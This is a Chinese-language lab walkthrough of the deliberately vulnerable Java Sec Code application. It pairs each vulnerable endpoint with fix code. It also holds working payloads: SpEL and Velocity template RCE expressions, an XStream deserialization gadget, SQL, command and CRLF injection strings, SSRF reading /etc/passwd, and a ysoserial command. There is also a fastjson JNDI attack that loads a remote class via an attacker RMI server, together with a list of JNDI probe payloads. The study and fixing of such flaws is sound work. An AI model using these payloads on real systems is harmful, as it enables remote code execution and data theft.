什么是 Java Sec Code

该项目也可以叫做Java Vulnerability Code(Java漏洞代码)。

Java Sec Code每个漏洞类型代码默认存在安全漏洞(除非本身不存在漏洞),相关修复代码在注释里。具体可查看每个漏洞代码和注释。

搭建

采用了SpringBoot环境,理论上扔进IDEA就能自动加载(没有Spring安装Spring并换成阿里源)

image

登陆密码默认

1
2
admin/admin123
joychou/joychou123

默认端口为8080,访问就可,还有一些漏洞在页面上并没有显示。

image

基础学习

在查看代码后发现一些基本内容如下:

1
2
http://127.0.0.1:8080/appInfo          //查看基本配置信息
http://127.0.0.1:8080/ip/noproxy //获取IP信息

IP修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//IPForge.java
public static String proxy(HttpServletRequest request) {
String ip = request.getHeader("X-Real-IP");
//StringUtils.isNotBlank() 判断某字符串是否不为空且长度不为0且不由空白符
if (StringUtils.isNotBlank(ip)) {
return ip;
} else {
// request.getRemoteAddr() 获取IP地址
String remoteAddr = request.getRemoteAddr();
if (StringUtils.isNotBlank(remoteAddr)) {
return remoteAddr;
}
}
return "";
}

结合一些其他功能可能会出现一些问题,这种问题出现在一些http参数可控导致的问题。

image

SPEL 表达式注入

Spring Expression Language(简称SpEL)是spring框架的的表达式语言,其中一种简单的触发方式如下:

1
2
3
4
5
6
7
8
9
10
//触发方式如下
//spel?input=new java.lang.ProcessBuilder("calc").start()

@RequestMapping("/spel")
@ResponseBody
public String spel(String input){
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(input);
return expression.getValue().toString();
}

查看javaseccode代码写法

1
2
3
4
5
6
7
8
9
10
11
12
/**
* SPEL to RCE
* http://localhost:8080/spel/vul/?expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}

弹出计算器,直接带入引用了。

1
http://localhost:8080/spel/vuln/?expression=T(java.lang.Runtime).getRuntime().exec("open -a Calculator")

image

  1. SPEL表达式注入-入门篇
  2. 由浅入深SpEL表达式注入漏洞

SSTI 模版注入

查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
    @GetMapping("/velocity")
public void velocity(String template) {
Velocity.init();

VelocityContext context = new VelocityContext();

context.put("author", "Elliot A.");
context.put("address", "217 E Broadway");
context.put("phone", "555-1337");

StringWriter swOut = new StringWriter();
Velocity.evaluate(context, swOut, "test", template);
}
}

弹出计算器

1
http://localhost:8080/ssti/velocity?template=#set($e="e");$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("open -a Calculator")

image

  1. 白头搔更短,SSTI惹人心

URl 跳转漏洞

重定向跳转

1
2
3
4
@GetMapping("/redirect")
public String redirect(@RequestParam("url") String url) {
return "redirect:" + url;
}

访问页面进行跳转

1
2
3
4
5
6
7
8
//http://localhost:8080/urlRedirect/setHeader?url=http://www.baidu.com 
@RequestMapping("/setHeader")
@ResponseBody
public static void setHeader(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
response.setStatus(HttpServletResponse.SC_MOVED_PERMANENTLY); // 301 redirect
response.setHeader("Location", url);
}

302跳转

1
2
3
4
public static void sendRedirect(HttpServletRequest request, HttpServletResponse response) throws IOException {
String url = request.getParameter("url");
response.sendRedirect(url); // 302 redirect
}

修复方式:只进行内部跳转

1
2
3
4
5
6
7
8
9
10
public static void forward(HttpServletRequest request, HttpServletResponse response) {
String url = request.getParameter("url");
// ServletContext.getRequestDispatcher(String url)中的url只能使用绝对路径;
RequestDispatcher rd = request.getRequestDispatcher(url);
try {
rd.forward(request, response);
} catch (Exception e) {
e.printStackTrace();
}
}

XSS 漏洞

比较熟了不多介绍,直接看代码

1
2
3
4
5
6
7
//http://localhost:8080/xss/reflect?xss=%3Cscript%3Ealert(1)%3C/script%3E
@RequestMapping("/reflect")
@ResponseBody
public static String reflect(String xss) {
// 直接返回
return xss;
}

这里还展示一种吧XSS语句带入cookie,然后在其他处调出造成XSS的可能性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//依次访问,触发XSS
//http://localhost:8080/xss/stored/store?xss=%3Cscript%3Ealert(1)%3C/script%3E
//http://localhost:8080/xss/stored/show
@RequestMapping("/stored/store")
@ResponseBody
public String store(String xss, HttpServletResponse response) {
Cookie cookie = new Cookie("xss", xss);
response.addCookie(cookie);
return "Set param into cookie";
}

@RequestMapping("/stored/show")
@ResponseBody
public String show(@CookieValue("xss") String xss) {
return xss;
}

这里展示的修复方式:将特殊字符转译

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
@RequestMapping("/safe")
@ResponseBody
public static String safe(String xss) {
return encode(xss);
}

private static String encode(String origin) {
origin = StringUtils.replace(origin, "&", "&");
origin = StringUtils.replace(origin, "<", "<");
origin = StringUtils.replace(origin, ">", ">");
origin = StringUtils.replace(origin, "\"", """);
origin = StringUtils.replace(origin, "'", "&#x27;");
origin = StringUtils.replace(origin, "/", "/");
return origin;
}

XStreamRce 反序列化

XStream是一个著名的反序列化的库,查看代码如下:

1
2
3
4
5
6
7
8
9
// POST 请求
@PostMapping("/xstream")
public String parseXml(HttpServletRequest request) throws Exception {
// 获取请求body信息
String xml = WebUtils.getRequestBody(request);
XStream xstream = new XStream(new DomDriver());
xstream.fromXML(xml);
return "xstream";
}

构造请求包如下,返回信息xstream:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
POST /xstream HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=F72970816A2209BE00510D1AE0717E05; XSRF-TOKEN=feccbe46-3c79-4ce4-932b-4ad20bab60b4; remember-me=YWRtaW46MTYwODcwOTM4MDEyODphMmM5Yjg1NjMwZDRkOTNhYTljMWZmMzQwNDk4ZjYzYg
Content-Length: 492
Content-Type: application/xml

<sorted-set>
<string>foo</string>
<dynamic-proxy> <!-- Proxy 动态代理,handler使用EventHandler -->
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>

image

  1. CVE-2020-26217 | XStream远程代码执行漏洞
  2. 通过XStream对象反序列化的RCE

XXE 漏洞

XXE(XML外部实体注入、XML External Entity),在应用程序解析XML输入时,当允许引用外部实体时,可以构造恶意内容导致读取任意文件或SSRF、端口探测、DoS拒绝服务攻击、执行系统命令、攻击内部网站等。查看代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// XXE.java
// POST 请求
@PostMapping("/xmlReader/vuln")
public String xmlReaderVuln(HttpServletRequest request) {
try {
// 获取请求体
String body = WebUtils.getRequestBody(request);
logger.info(body);
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
// 解析 xml
xmlReader.parse(new InputSource(new StringReader(body)));
return "xmlReader xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
}

输入payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
POST /xxe/xmlReader/vuln HTTP/1.1
Host: localhost:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: remember-me=YWRtaW46MTYwODcwOTM4MDEyODphMmM5Yjg1NjMwZDRkOTNhYTljMWZmMzQwNDk4ZjYzYg; XSRF-TOKEN=3d1c0f17-c67b-4976-9dc1-c49a3c009bf7; JSESSIONID=BBC40D3F2F6B4EEF42665B33CDB307F8
Connection: close
Content-Length: 160

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY x "First Param!">
<!ENTITY y "Second Param!">
]>
<root><x>&x;</x><y>&y;</y></root>

无回显,使用外带传输。

  1. JAVA常见的XXE漏洞写法和防御
  2. Java-XXE-总结

RCE

直接命令执行

1
http://localhost:8080/rce/exec?cmd=whoami

查看源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33

@RestController
@RequestMapping("/rce")
public class Rce {

@GetMapping("/exec")
public String CommandExec(String cmd) {
Runtime run = Runtime.getRuntime();
StringBuilder sb = new StringBuilder();

try {
Process p = run.exec(cmd);
BufferedInputStream in = new BufferedInputStream(p.getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String tmpStr;

while ((tmpStr = inBr.readLine()) != null) {
sb.append(tmpStr);
}

if (p.waitFor() != 0) {
if (p.exitValue() == 1)
return "Command exec failed!!";
}

inBr.close();
in.close();
} catch (Exception e) {
return "Except";
}
return sb.toString();
}
}

接收参数导致的命令执行漏洞

CmdInject (命令注入)

命令行直接进行拼接,可进行分割执行其他命令

1
2
3
4
5
6
7
8
9
@GetMapping("/codeinject")
public String codeInject(String filepath) throws IOException {

String[] cmdList = new String[]{"sh", "-c", "ls -la " + filepath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

使用管道符,分号等等(url编码)都可以进行拼接。

image

1
2
3
4
5
6
7
8
9
10
11
@GetMapping("/codeinject/host")
public String codeInjectHost(HttpServletRequest request) throws IOException {

String host = request.getHeader("host");
logger.info(host);
String[] cmdList = new String[]{"sh", "-c", "curl " + host};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

这里看代码是在HTTP请求的host中命令执行,但是不知道为什么不行

image

接下来查看修复代码:

1
2
3
4
5
6
7
8
9
10
11
12
@GetMapping("/codeinject/sec")
public String codeInjectSec(String filepath) throws IOException {
String filterFilePath = SecurityUtil.cmdFilter(filepath);
if (null == filterFilePath) {
return "Bad boy. I got u.";
}
String[] cmdList = new String[]{"sh", "-c", "ls -la " + filterFilePath};
ProcessBuilder builder = new ProcessBuilder(cmdList);
builder.redirectErrorStream(true);
Process process = builder.start();
return WebUtils.convertStreamToString(process.getInputStream());
}

增加了一个SecurityUtil.cmdFilter()进行过滤,command+点击cmdFilter进入cmdFilter函数查看

1
2
3
4
5
6
7
8
public static String cmdFilter(String input) {
if (!FILTER_PATTERN.matcher(input).matches()) {
// FILTER_PATTERN.matcher().matches()
return null;
}

return input;
}

跟进看FILTER_PATTERN是怎么定义的

1
private static final Pattern FILTER_PATTERN = Pattern.compile("^[a-zA-Z0-9_/\\.-]+$");

image

jsonp 劫持漏洞

JSONP是实现跨域的一种技术,应用于Web站点需要跨域获取数据的场景。当开发者使用不当时,攻击者可以恶意利用jsonp劫持数据。举例如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP 实例</title>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
function callbackFunction(result, methodName)
{
var html = '<ul>';
for(var i = 0; i < result.length; i++)
{
html += '<li>' + result[i] + '</li>';
}
html += '</ul>';
document.getElementById('divCustomers').innerHTML = html;
}
</script>
<script type="text/javascript" src="http://www.runoob.com/try/ajax/jsonp.php?jsoncallback=callbackFunction"></script>
</body>
</html>

不知道为什么在测试这个java-sec的jsonp时候,跳转的需要进行登陆

文件上传

查看文件上传函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@PostMapping("/upload")
public String singleFileUpload(@RequestParam("file") MultipartFile file,
RedirectAttributes redirectAttributes) {
if (file.isEmpty()) {
// 赋值给uploadStatus.html里的动态参数message
redirectAttributes.addFlashAttribute("message", "Please select a file to upload");
return "redirect:/file/status";
}

try {
// Get the file and save it somewhere
byte[] bytes = file.getBytes();
Path path = Paths.get(UPLOADED_FOLDER + file.getOriginalFilename());
Files.write(path, bytes);

redirectAttributes.addFlashAttribute("message",
"You successfully uploaded '" + UPLOADED_FOLDER + file.getOriginalFilename() + "'");

} catch (IOException e) {
redirectAttributes.addFlashAttribute("message", "upload failed");
e.printStackTrace();
return "redirect:/file/status";
}

return "redirect:/file/status";
}

CORS

跨域请求伪造,由于限制不严导致可以跨域请求敏感信息,一般结合XSS,CSRF等等漏洞进行攻击。

image

在如下的配置中,意味着任何服务都能访问资源

1
2
3
HTTP/1.0 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true

也可以使用curl进行验证

1
curl https://www.xxxxx.com -H "Origin: https://test.com" -I

但是由于有cookie导致利用起来就很麻烦了,下面是没有cookie的POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<html>
<head>
<script type="text/javascript">
window.onload = function cors() {
var xhttp = new XMLHttpRequest();
xhttp.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
document.getElementById("demo").innerHTML =
alert(this.responseText);
}
};
xhttp.open("GET", "http://www.sqllabs.com/test.php", true);
xhttp.send();
}

</script>
</head>
<body>
<textarea id="demo"></textarea>
</body>
</html>

查看Java源码,设置路由,设置http头,直接返回信息

1
2
3
4
5
6
7
8
9
private static String info = "{\"name\": \"JoyChou\", \"phone\": \"18200001111\"}";

@GetMapping("/vuln/origin")
public String vuls1(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("origin");
response.setHeader("Access-Control-Allow-Origin", origin); // 设置Origin值为Header中获取到的
response.setHeader("Access-Control-Allow-Credentials", "true"); // cookie
return info;
}

同理

1
2
3
4
5
6
@GetMapping("/vuln/setHeader")
public String vuls2(HttpServletResponse response) {
// 后端设置Access-Control-Allow-Origin为*的情况下,跨域的时候前端如果设置withCredentials为true会异常
response.setHeader("Access-Control-Allow-Origin", "*");
return info;
}

修复方式是使用@GetMapping进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
@GetMapping("/sec/webMvcConfigurer")
public CsrfToken getCsrfToken_01(CsrfToken token) {
return token;
}


/**
* spring security设置cors
* 不支持自定义checkOrigin,因为spring security优先于setCorsProcessor执行
* 代码:org/joychou/security/WebSecurityConfig.java
*/
@GetMapping("/sec/httpCors")
public CsrfToken getCsrfToken_02(CsrfToken token) {
return token;
}

@GetMapping("/sec/checkOrigin")
public String seccode(HttpServletRequest request, HttpServletResponse response) {
String origin = request.getHeader("Origin");

// 如果origin不为空并且origin不在白名单内,认定为不安全。
// 如果origin为空,表示是同域过来的请求或者浏览器直接发起的请求。
if (origin != null && SecurityUtil.checkURL(origin) == null) {
return "Origin is not safe.";
}
response.setHeader("Access-Control-Allow-Origin", origin);
response.setHeader("Access-Control-Allow-Credentials", "true");
return LoginUtils.getUserInfo2JsonStr(request);
}

任意文件读取

image

查看源码,就是直接读取文件并进行base64编码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
@GetMapping("/path_traversal/vul")
public String getImage(String filepath) throws IOException {
return getImgBase64(filepath);
}

private String getImgBase64(String imgFile) throws IOException {

logger.info("Working directory: " + System.getProperty("user.dir"));
logger.info("File path: " + imgFile);

File f = new File(imgFile);
if (f.exists() && !f.isDirectory()) {
byte[] data = Files.readAllBytes(Paths.get(imgFile));
return new String(Base64.encodeBase64(data));
} else {
return "File doesn't exist or is not a file.";
}
}

修复方式,过滤文件,使用正则表达式过滤

1
2
3
4
5
6
7
8
@GetMapping("/path_traversal/sec")
public String getImageSec(String filepath) throws IOException {
if (SecurityUtil.pathFilter(filepath) == null) {
logger.info("Illegal file path: " + filepath);
return "Bad boy. Illegal file path.";
}
return getImgBase64(filepath);
}

进入SecurityUtil.pathFilter()进行查看,过滤了常见的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public static String pathFilter(String filepath) {
String temp = filepath;

// use while to sovle multi urlencode
while (temp.indexOf('%') != -1) {
try {
temp = URLDecoder.decode(temp, "utf-8");
} catch (UnsupportedEncodingException e) {
logger.info("Unsupported encoding exception: " + filepath);
return null;
} catch (Exception e) {
logger.info(e.toString());
return null;
}
}

if (temp.contains("..") || temp.charAt(0) == '/') {
return null;
}

return filepath;
}

sql注入

搭建失败, 直接看代码,输入语句直接拼接进去,造成sql注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@RequestMapping("/jdbc/vuln")
public String jdbc_sqli_vul(@RequestParam("username") String username) {

StringBuilder result = new StringBuilder();

try {
Class.forName(driver);
Connection con = DriverManager.getConnection(url, user, password);

if (!con.isClosed())
System.out.println("Connect to database successfully.");

// sqli vuln code
Statement statement = con.createStatement();
String sql = "select * from users where username = '" + username + "'";
logger.info(sql);
ResultSet rs = statement.executeQuery(sql);

while (rs.next()) {
String res_name = rs.getString("username");
String res_pwd = rs.getString("password");
String info = String.format("%s: %s\n", res_name, res_pwd);
result.append(info);
logger.info(info);
}
rs.close();
con.close();


} catch (ClassNotFoundException e) {
logger.error("Sorry,can`t find the Driver!");
} catch (SQLException e) {
logger.error(e.toString());
}
return result.toString();
}

注入语句基本如下:

1
http://127.0.0.1:8080/sqli/mybatis/vuln01?username=joychou' or '1'='1

修复代码如下,直接让带入的为字符串,禁止进行执行

1
2
3
4
// fix code
String sql = "select * from users where username = ?";
PreparedStatement st = con.prepareStatement(sql);
st.setString(1, username);

SSRF

服务器请求伪造,用于发起服务器端的请求来进行探测,在协议不限制的情况,也可以进行文件读取,请求如下:

1
2
http://127.0.0.1:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd
http://127.0.0.1:8080/ssrf/urlConnection/vuln?url=file:///etc/passwd

查看代码

1
2
3
4
@RequestMapping(value = "/urlConnection/vuln", method = {RequestMethod.POST, RequestMethod.GET})
public String URLConnectionVuln(String url) {
return HttpUtils.URLConnection(url);
}

跟进直接带入HttpUtils.URLConnection() ,这里使用了urlConnection类,造成文件读取的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static String URLConnection(String url) {
try {
URL u = new URL(url);
URLConnection urlConnection = u.openConnection();
BufferedReader in = new BufferedReader(new InputStreamReader(urlConnection.getInputStream())); //send request
String inputLine;
StringBuilder html = new StringBuilder();

while ((inputLine = in.readLine()) != null) {
html.append(inputLine);
}
in.close();
return html.toString();
} catch (Exception e) {
logger.error(e.getMessage());
return e.getMessage();
}
}

安全修复代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@GetMapping("/urlConnection/sec")
public String URLConnectionSec(String url) {

// Decline not http/https protocol
if (!SecurityUtil.isHttp(url)) {
return "[-] SSRF check failed";
}

try {
SecurityUtil.startSSRFHook();
return HttpUtils.URLConnection(url);
} catch (SSRFException | IOException e) {
return e.getMessage();
} finally {
SecurityUtil.stopSSRFHook();
}

跟进SecurityUtil.isHttp,判断是否是HTTP协议

1
2
3
public static boolean isHttp(String url) {
return url.startsWith("http://") || url.startsWith("https://");
}

CRLF注入

在HTTP当中HTTP的Header和Body之间就是用两个crlf进行分隔的

image

如果能控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以CRLF injection 又叫做 HTTP response Splitting,简称HRS。CRLF漏洞可以造成Cookie会话固定和反射型XSS(可过waf)的危害,注入XSS的利用方式:连续使用两次%0d%oa就会造成header和body之间的分离,就可以在其中插入xss代码形成反射型xss漏洞。

1
?url=http://baidu.com/xxx%0a%0dSet-Cookie: test123=123  // 恶意添加修改信息

关于实战,这里有几个案例,学习一波。

  1. CRLF注入
  2. Bottle HTTP 头注入漏洞探究
  3. 案例

但是,大多数现代应用程序服务器(无论用什么语言编写的代码),都已经不存在HTTP响应拆分漏洞,代码如下:

1
2
3
4
5
6
7
8
9
10
11
@RequestMapping("/safecode")
@ResponseBody
public void crlf(HttpServletRequest request, HttpServletResponse response) {
// response.addHeader 添加头文件信息
response.addHeader("test1", request.getParameter("test1"));
response.setHeader("test2", request.getParameter("test2"));
// request.getParameter 获取值
String author = request.getParameter("test3");
Cookie cookie = new Cookie("test3", author);
response.addCookie(cookie);
}

测试如下:

image

序列化与反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@RequestMapping("/deserialize")
public class Deserialize {

protected final Logger logger = LoggerFactory.getLogger(this.getClass());

/**
* java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64
* Add the result to rememberMe cookie.
* <p>
* http://localhost:8080/deserialize/rememberMe/vuln
*/
@RequestMapping("/rememberMe/vuln")
public String rememberMeVul(HttpServletRequest request)
throws IOException, ClassNotFoundException {
// 获取名字为 rememberMe 的cookie值
Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);
if (null == cookie) {
return "No rememberMe cookie. Right?";
}
// 获取cookie rememberMe 内容
String rememberMe = cookie.getValue();
// base64 解码
byte[] decoded = Base64.getDecoder().decode(rememberMe);
ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);
// ObjectInputStream是将对象的原始数据序列化
ObjectInputStream in = new ObjectInputStream(bytes);
in.readObject();
in.close();

return "Are u ok?";
}

使用ysoserial生成payload,需要管理员权限。

1
sudo java -jar ysoserial.jar CommonsCollections5 "open -a Calculator" | base64

测试,弹出计算器
image

修复代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
@RequestMapping("/rememberMe/security")
public String rememberMeBlackClassCheck(HttpServletRequest request)
throws IOException, ClassNotFoundException {

Cookie cookie = getCookie(request, Constants.REMEMBER_ME_COOKIE);

if (null == cookie) {
return "No rememberMe cookie. Right?";
}
String rememberMe = cookie.getValue();
byte[] decoded = Base64.getDecoder().decode(rememberMe);

ByteArrayInputStream bytes = new ByteArrayInputStream(decoded);

try {
AntObjectInputStream in = new AntObjectInputStream(bytes); // throw InvalidClassException
in.readObject();
in.close();
} catch (InvalidClassException e) {
logger.info(e.toString());
return e.toString();
}

return "I'm very OK.";
}

具体还是看不懂,相关研究资料如下:

  1. 浅谈Java反序列化漏洞修复方案
  2. Java反序列化过程深究

fastjson

首先请求需要为POST,ontent-Type设置为application/json,暴露使用的fastjson:

image

fastjson 1.2.24 反序列化导致任意命令执行漏洞,测试如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

编译上述代码,并上传的我们搭建的服务器中(静态资源部署就行)

1
2
javac TouchFile.java          //进行编译
python3 -m http.server 8080 //简单搭建web服务

TouchFile.class 文件放在web服务根目录下,使其可以被访问到:

image

然后我们借助marshalsec项目,启动一个RMI服务器,监听9999端口,并制定加载远程类TouchFile.class。首先在VPS安装marshalsec:

1
2
3
git clone https://github.com/mbechler/marshalsec.git
cd marshalsec/
mvn clean package -DskipTests

配置好如下:

image

1
2
cd /root/marshalsec/marshalsec/target/
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://124.70.82.229:8080/#TouchFile 9998

在显示监听后,在客户端发送请求payload,返回500是正常的,主要看创建文件是否成功

image

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
POST / HTTP/1.1
Host: your-ip:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160

{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://evil.com:9999/TouchFile",
"autoCommit":true
}
}

查看/tmp 下的目录,创建success文件

image

简单验证的话,直接使用DNS判断就好:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
POST /fastjson/deserialize HTTP/1.1
Host: 127.0.0.1:8080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: remember-me=YWRtaW46MTYwODYwMDAyMDA3MzpiMjMyODY2ODRjYmQ5N2ExYTMyYjlmZDQ4ZjU3OGZmMQ; XSRF-TOKEN=10e944c1-b957-4db6-8f87-497ecbd23e47; JSESSIONID=21DEEF6B9C43221FDF213419AA77B0F3
Connection: close
Content-Length: 73


{"username":{"@type":"java.net.Inet4Address","val":"uhiuod.dnslog.cn"}}

image

除此之外,还有其他的NDS验证payload如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{"@type":"java.net.Inet4Address","val":"dnslog"}
{"name":{"@type":"java.net.InetAddress","val":"dnslog"}}
{"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"dnslog"}}""}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
Set[{"@type":"java.net.URL","val":"dnslog"}]
Set[{"@type":"java.net.URL","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:0
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"}
{"@type":"org.apache.hadoop.shaded.com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://dnslog/"], "Realms":[""]}
{"@type":"org.apache.xbean.propertyeditor.JndiConverter","asText":"ldap://dnslog/"}
{"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig","properties": {"@type":"java.util.Properties","UserTransaction":"ldap://dnslog/"}
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://dnslog/"}, "namespace":""}
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://dnslog/", "autoCommit":true}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"rmi://dnslog/"}
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://dnslog/","Object":"a"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"rmi://dnslog/"}
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"rmi://dnslog/"}
  1. Fastjson 1.2.24 反序列化漏洞深度分析
  2. 发现最新版本1.2.67依然可以通过dnslog判断正确是否使用fastjson

学习资料

  1. Java代码审计
  2. java代码审计文章集合
  3. JSONP跨域漏洞总结
  4. Jsonp漏洞简析及自动化漏洞挖掘脚本编写
  5. 浅析CORS攻击及其挖洞思路
  6. 了解SSRF,这一篇就足够了
  7. CRLF注入原理
  8. ObjectInputStream,ObjectOutputStream
  9. java代码审计